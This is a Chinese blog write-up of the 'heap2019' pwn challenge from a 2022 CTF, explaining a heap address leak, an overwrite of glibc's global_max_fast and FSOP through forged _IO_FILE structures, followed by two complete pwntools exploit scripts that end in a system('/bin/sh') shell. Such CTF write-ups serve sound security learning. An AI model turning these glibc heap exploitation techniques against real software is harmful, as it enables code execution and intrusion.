2022铁人三项pwn wp

heap2019

一点也不会,太菜了,zikh师傅太强了直接带我入门io

保护

image-20230112140034648

比赛时一脸懵比,已经隐隐感觉与io有关,就知道跟我没关系了

漏洞利用

image-20230112141202594

输入的时候没有\x00截断且下面有一个puts,这个漏洞可以用来泄露地址,从unsortbin中泄露libs地址从larger bin中泄露堆地址,程序自带泄露的地址没啥鸟用,我又用不到程序程序基地址

image-20230112141636511

一个溢出来达到任意地址写一个0xdeadbeef有点像unsortbin attach 利用这个打一个fsop,有两种方法大概上一样,就是/bin/sh的写入方法不同

看一下绕过条件

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
   || (_IO_vtable_offset (fp) == 0
       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
			    > fp->_wide_data->_IO_write_base))
   )
  && _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

第一种方法构造一个结构体,因为我们是可以控制 vtable 的,虽然作为参数的 flags 字段位于堆块的 prev_size 上,当上一个chunk末尾为8,就会当作上一个chunk的数据区,最后用 /bin/sh\x00 填满堆块,从而控制了结构体中的 flags 字段。别忘记伪造字段来触发 _IO_OVERFLOW

第二种方法就是构造两个,在第一个结构体中,我们不希望执行 _IO_OVERFLOW 因此,要让前面的检查不通过。而前面的条件又由一个 || 连接,因此需要第一个条件和第二个条件全部不成立才可以。

这里伪造的字段为 fp->_mode == 0 fp->_IO_write_ptr== fp->_IO_write_base==0

这样前后两个条件全部无法成立,自然无法调用 _IO_OVERFLOW

在伪造字段绕过 if 的同时,不要忘记设置好 _chain 字段,让其指向第二个结构体。

在第二个结构体中,我们希望执行 _IO_OVERFLOW ,因此要将 fp->_mode == 0 fp->_IO_write_ptr ==1 fp->_IO_write_base == 0 ,这样即可触发 _IO_OVERFLOW 。在这之前只需要伪造好第二个结构体的 flags 字段和 vtable 中的 overflow 让其指向 system 的地址即可获取 shell

还有一个难点就是篡改 global_max_fast,最终效果向一个libc地址写一个堆地址

参考2022_祥云杯_pwn 部分wp | ZIKH26's Blog

exp

我使用了zikh师傅的工具tools-函数库 | ZIKH26's Blog

第一种

from tools import*
p,e,libc=load('a')
context.log_level='debug'

def new(size,context):
    p.sendlineafter("4.exit\n","1")
    p.sendlineafter("Content length:\n",str(size))
    p.sendafter("Content:\n",context)
def edit(Comment):
    p.sendlineafter("4.exit\n","2")
    p.sendafter("Comment:",Comment)
def delete(id):
    p.recvuntil("4.exit\n")
    p.sendline('3')
    p.sendlineafter("Content id:",str(id))
    
def exit():
    p.sendlineafter("4.exit\n","4")


new(0x100,'a')

new(0x500,'b')
new(0x100,'c')
delete(0)
new(0x100,'a'*0x8)
libc_base=recv_libc()-0x3c4b78
log_addr('libc_base')

delete(1)
new(0x600,'a')

new(0x150,b'b'*0x10+b'a'*8)
p.recvuntil(b'a'*8)
heap_addr=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('heap_addr')

fastbinY_addr=libc_base+0x3c4b28
global_max_fast=libc_base+0x3c67f8
vtable=libc_base+0x3c5618
chain=libc_base+0x3c55a8
system=libc_base+libc.symbols['system']
log_addr('system')
delete(1)
new(0x1008,'/bin/sh\x00'*int(0x1008/8))
index=(chain-fastbinY_addr-8)/8
size=index*0x10+0x20
log_info(hex(int(size)))

new(int(size),p64(0)*3+p64(1)+p64(0)*7+p64(0)+p64(0)*13+p64(heap_addr+0x1630+0x40+0xa0)+p64(system)*4)
edit(b'a'*0x20+p64(global_max_fast))

delete(4)
debug(p,'pie',0xDCD,0xDD9,0xDC1,0xBF5,0xDE5)
exit()
p.interactive()

第二种


from tools import*
p,e,libc=load('a')
context.log_level='debug'

def new(size,context):
    p.sendlineafter("4.exit\n","1")
    p.sendlineafter("Content length:\n",str(size))
    p.sendafter("Content:\n",context)
def edit(Comment):
    p.sendlineafter("4.exit\n","2")
    p.sendafter("Comment:",Comment)
def delete(id):
    p.recvuntil("4.exit\n")
    p.sendline('3')
    p.sendlineafter("Content id:",str(id))
    
def exit():
    p.sendlineafter("4.exit\n","4")


new(0x100,'a')

new(0x500,'b')
new(0x100,'c')
delete(0)
new(0x100,'a'*0x8)
libc_base=recv_libc()-0x3c4b78
log_addr('libc_base')

delete(1)
new(0x600,b'/bin/sh\x00'+p64(0)*4+p64(1)+p64(0)*21+p64(0xdeadbeef))

new(0x150,b'b'*0x10+b'a'*8)
p.recvuntil(b'a'*8)
heap_addr=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('heap_addr')

fastbinY_addr=libc_base+0x3c4b28
global_max_fast=libc_base+0x3c67f8
vtable=libc_base+0x3c5618
chain=libc_base+0x3c55a8
system=libc_base+libc.symbols['system']
log_addr('system')
delete(1)

new(0x1000,b'/bin/sh\x00'+p64(0)*4+p64(1)+p64(0)*21+p64(heap_addr+0x1630+0x40+0xa0))
index=(chain-fastbinY_addr-8)/8
size=index*0x10+0x20
log_info(hex(int(size)))
new(int(size),p64(0)*3+p64(0)+p64(0)*7+p64(heap_addr+0x630)+p64(0)*13+p64(heap_addr+0x1630+0x630)+p64(system)*4)
debug(p,'pie',0xDCD,0xDD9,0xDC1,0xBF5,0xDE5)
edit(b'a'*0x20+p64(global_max_fast))

delete(4)

exit()
p.interactive()

参考

2022-长城杯-铁人三项赛 pwn wp | ZIKH26's Blog

posted @ 2023-01-12 14:45  何思泊河  阅读(207)  评论(0)    收藏  举报